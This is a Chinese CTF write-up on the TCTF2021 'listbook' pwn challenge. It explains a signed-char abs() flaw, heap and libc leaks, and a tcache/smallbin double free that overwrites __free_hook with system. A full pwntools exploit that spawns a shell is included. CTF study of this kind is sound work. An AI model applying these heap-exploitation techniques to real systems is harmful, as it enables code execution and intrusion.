ctf-pwn tc和smallbin的doublefree利用

前言:

之前曾经有了解过libc.2.31下tc和smallbin的联合利用, 但是那次看到的是malloc与calloc的使用, 所以这次借助TCTF2021的listbook来讲讲2.31版本下tc和smallbin的doublefree利用的另一种方法.

漏洞分析:

首先是全保护都被开启了

而后我们用IDA分析一下程序

漏洞一:

在add中找到漏洞点abs8:

先来解释一下bug函数的功能: 是将name中的内容逐字节的ascii码相加所得的值取绝对值v4, 用这个值与15比较大小, 如果大于15则用16取余, 但是注意所得的v4是char类型, 它是有符号和范围的! (这件事在the-art-of-software-security-assessment一书中也被吐槽过 "程序员总是忘了他们的字符也是有符号和范围的"), 所以不可避免的我们会想到用负数来绕过, 然而什么负数在abs后不会改变嘞? 当然是负数极大值啦, 所以我们使得ascii码的和为0x80即可

然后我们再讲一下取0x80的作用: 它可以使得name_addr[-128]的地址写到name_inuse[0]和[1]上, 从而生成非零值绕过inuse检测, 从而为我们的double free创造条件

漏洞二:

在add函数中:

它申请的0x20大小空间中可以写入0x10字节的内容, 然而之后在写入link的地址时:

即在chunk+0x10写入了地址, 所以我们又有了机会泄露heap地址

解题思路:

泄露heap_base:

利用漏洞二可以很轻松的得出, 在此就不多赘述了

def get_heap_base():
    Add('a'*16, 'a', 0)
    Add('a'*16, 'w', 0)
    Show(0)
    sh.recvuntil('a'*16)
    leak_heap=u64(sh.recv(6).ljust(8, '\x00'))
    heap_base=leak_heap-0xb2a0
    log.success('heap base: '+hex(heap_base))
    Delete(0)
    return heap_base

泄露libc_base:

可以先考虑填充完tc, 然后将一个0x210大小的chunk放入unsortedbin, 之后申请的0x30都会先放在这unsortedbin中, 因此便有了机会申请到largechunk, 之后用doublefree即可打印出main_arena+偏移, 从而获得libc_base:

def get_libc_base():
    [Add(p64(15), 't') for i in range(8)]
    Delete(15)
    [Add(p64(14), 'y') for i in range(7)] #tc置空
    Add(p64(13), 'n')
    Add(p64(12), 'n')
    [Add(p64(1), 'a') for i in range(3)]
    Delete(14)
    Delete(13)
    Delete(1)
    [Add(p64(14), 'z') for i in range(7)]
    Add(p64(1), 'x')
    Delete(14)
    Delete(1)
    Add(p64(0x80), 'a')
    Show(1)
    sh.recvuntil('=> ')
    leak_arena=u64(sh.recv(6).ljust(8, '\x00'))
    main_arena=leak_arena-1104
    log.success('main arena: '+hex(main_arena))
    Delete(0x80)
    return main_arena
'''其实这段代码可以优化很多地方, 当时比赛没来得及去深入思考'''

利用doublefree来改写free_hook:

首先先贴一张图, 方便日后的讲解:

第一步: 先回收一下垃圾, 让heap区看起来整洁一些

第二步: 申请足够多的chunk为后来的操作做准备

第三步: 类似于泄露libc_base时的操作, 申请一个0x210大小的unsortedbin用于之后申请0x30的chunk, 这个是我的bin分布:

第四步: 构造如图的结构, 注意chunk1和chunk2要相邻(注意, 其实中间即使出现了一两个0x30大小的chunk也无所谓的)这个是我的bin分布:

chunk1和chunk2在double free之前内存分布如下:

第五步, 将chunk1申请出来, 然后在一个离chunk2不太远的地方伪造一个fakechunk, 同时在其fd和bk位置写上路人chunk的fd和bk, 为后面绕过malloc检测做准备, bin分布:

chunk1和chunk2如图:

第六步: 再次申请了0x80为name的chunk后, 很显然我们的name_inuse[1]被改变为了非零数, 从而可以再次释放, 从而doublefree

第七步: add一次, 然后改写刚申请出来的chunk2的bk为之前的fakechunk地址, fd不用动, 即use after free:

第八步: 慢慢申请直到fakechunk:

第九步: 由于fakechunk离chunk2很近, 同时fakechunk依旧是0x210大小, 所以存在对chunk2的部分uaf, 所以直接改写chunk2在tc中的fd为free_hook, 最后在free_hook上写入system的地址即可:

def get_shell(heap_base, libc_base):
#第一步:
    Add(p64(0), '?')
    Add(p64(1), '?')
    Add(p64(5), '?')
    Add(p64(12), '?')
    Delete(0)
    Delete(1)
    Delete(5)
    Delete(12)
    [Add(p64(15), 'QAQ') for i in range(21)]
    '''这上面的操作不过是垃圾回收'''


#第二步:
    [Add(p64(9), 'aaaa'*8) for i in range(6)]
    Add(p64(11), 'bbbb'*8)
    Add(p64(1), 'wwww'*8)
    Add(p64(2), 'm')
    Add(p64(3), 'd')
    Add(p64(4), 'a')
    Add(p64(5), 'z')
    Add(p64(7), 'z')
    Add(p64(8), 'z')
    [Add(p64(6), 'tttt') for i in range(7)]


#第三步:
    Delete(6)
    Delete(3)
    Add(p64(12), 'w')#10


#第四步:
    [Add(p64(6), 'w') for i in range(7)]#3
    Delete(9)
    Delete(11) #chunk1, 同时tc full
    Delete(4)
    Delete(2)
    Delete(8)
    Delete(1) #chunk2, 即double free的chunk
    Delete(5) #路人chunk
    
#第五/六步:
    payload1='x'*16*17+p64(0)+p64(0x211)+p64(heap_base+0xf820)+p64(libc_base+0x1ebde0)
    Add(p64(0x80), payload1)#chunk above 1
    Delete(1)#tc full, 2


#第七步:
    Add(p64(11), p64(heap_base+0xfa60)+p64(heap_base+0xf700))
    [Add(p64(2), 'www') for i in range(7)]


#第八步
    payload2=p64(0)*34+p64(0)+p64(0x210)+p64(libc_base+libc.sym['__free_hook'])
    Add(p64(3), payload2)


#第九步
    Add(p64(8), '/bin/sh\x00')
    Add(p64(5), p64(libc_base+libc.sym['system']))
    Delete(8)

完整exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./listbook')
context.binary=('./listbook')
libc=ELF('./libc-2.31.so')
#context.log_level='debug'


def Add(name, context, flag=1):
    sh.recvuntil('>>')
    sh.sendline('1')
    sh.recvuntil('name>')
    if flag:
        sh.sendline(name)
    else:
        sh.send(name)
    sh.recvuntil('content>')
    ''' the name ascii add together and %16  '''
    sh.sendline(context)


def Delete(idx):
    sh.recvuntil('>>')
    sh.sendline('2')
    sh.recvuntil('index>')
    sh.sendline(str(idx))


def Show(idx):
    sh.recvuntil('>>')
    sh.sendline('3')
    sh.recvuntil('index>')
    sh.sendline(str(idx))


def stop():
    print str(proc.pidof(sh))
    pause()


def get_heap_base():
    Add('a'*16, 'a', 0)
    Add('a'*16, 'w', 0)
    Show(0)
    sh.recvuntil('a'*16)
    leak_heap=u64(sh.recv(6).ljust(8, '\x00'))
    heap_base=leak_heap-0xb2a0
    log.success('heap base: '+hex(heap_base))
    Delete(0)
    return heap_base


def get_libc_base():
    [Add(p64(15), 't') for i in range(8)]
    Delete(15)
    [Add(p64(14), 'y') for i in range(7)]
    Add(p64(13), 'n')
    Add(p64(12), 'n')
    [Add(p64(1), 'a') for i in range(3)]
    Delete(14)
    Delete(13)
    Delete(1)
    [Add(p64(14), 'z') for i in range(7)]
    Add(p64(1), 'x')
    Delete(14)
    Delete(1)
    Add(p64(0x80), 'a')
    Show(1)
    sh.recvuntil('=> ')
    leak_arena=u64(sh.recv(6).ljust(8, '\x00'))
    main_arena=leak_arena-1104
    log.success('main arena: '+hex(main_arena))
    Delete(0x80)
    return main_arena


def get_shell(heap_base, libc_base):
    Add(p64(0), '?')
    Add(p64(1), '?')
    Add(p64(5), '?')
    Add(p64(12), '?')
    Delete(0)
    Delete(1)
    Delete(5)
    Delete(12)
    [Add(p64(15), 'QAQ') for i in range(21)]
    [Add(p64(9), 'aaaa'*8) for i in range(6)]
    Add(p64(11), 'bbbb'*8)
    Add(p64(1), 'wwww'*8)
    Add(p64(2), 'm')
    Add(p64(3), 'd')
    Add(p64(4), 'a')
    Add(p64(5), 'z')
    Add(p64(7), 'z')
    Add(p64(8), 'z')
    [Add(p64(6), 'tttt') for i in range(7)]
    Delete(6)
    #Add(p64(0x80), 'a')
    Delete(3)
    Add(p64(12), 'w')#10
    [Add(p64(6), 'w') for i in range(7)]#3
    Delete(9)
    Delete(11) #for on 1
    Delete(4)
    Delete(2)
    Delete(8)
    Delete(1)
    Delete(5)
    #Add(p64(13), 'w')#2
    #Delete(1)
    payload1='x'*16*17+p64(0)+p64(0x211)+p64(heap_base+0xf820)+p64(libc_base+0x1ebde0)
    Add(p64(0x80), payload1)#chunk above 1
    Delete(1)#tc full, 2


    Add(p64(11), p64(heap_base+0xfa60)+p64(heap_base+0xf700))
    [Add(p64(2), 'www') for i in range(7)]
   # payload2=p64(0)*2*18+p64(0)+p64(0x211)+p64(libc_base+libc.sym['__free_hook'])+p64(heap_base+0xb010)
    payload2=p64(0)*34+p64(0)+p64(0x210)+p64(libc_base+libc.sym['__free_hook'])
    Add(p64(3), payload2)
    Add(p64(8), '/bin/sh\x00')
    Add(p64(5), p64(libc_base+libc.sym['system']))
    Delete(8)


def pwn():
    heap_base = get_heap_base()
    libc_base = get_libc_base() - 0x1ebb80
    log.success('libc_base: '+hex(libc_base))
    get_shell(heap_base, libc_base)
    sh.interactive()


pwn()

最终效果:

文末推荐:点击图片了解CTF-PWN特训班详情


戳“阅读原文”马上开启CTF世界!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值